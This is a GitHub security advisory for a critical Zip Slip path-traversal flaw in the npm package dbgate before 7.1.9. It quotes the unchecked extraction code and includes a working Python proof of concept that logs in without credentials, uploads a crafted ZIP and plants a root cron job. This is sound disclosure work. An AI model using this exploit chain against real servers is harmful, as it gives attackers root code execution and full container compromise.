GitHub Advisoryadvisory · npm

GHSA-h535-j5hr-mv56 DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE

CRITICAL Published 2026-06-05 Modified 2026-06-05 Official page ↗
Aliases
CVE-2026-47669
Ecosystem
npm
Packages
dbgate
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-22
Reviewed
2026-06-05

Affected packages

• npm dbgate: < 7.1.9 → fixed in 7.1.9

Description

The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Affected code: `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. PoC: ```python import requests, zipfile, io TARGET = "http://localhost:3000" Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.

Related

Alias · CVE (1)

  • CVE-2026-47669 DbGate is cross-platform database manager. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References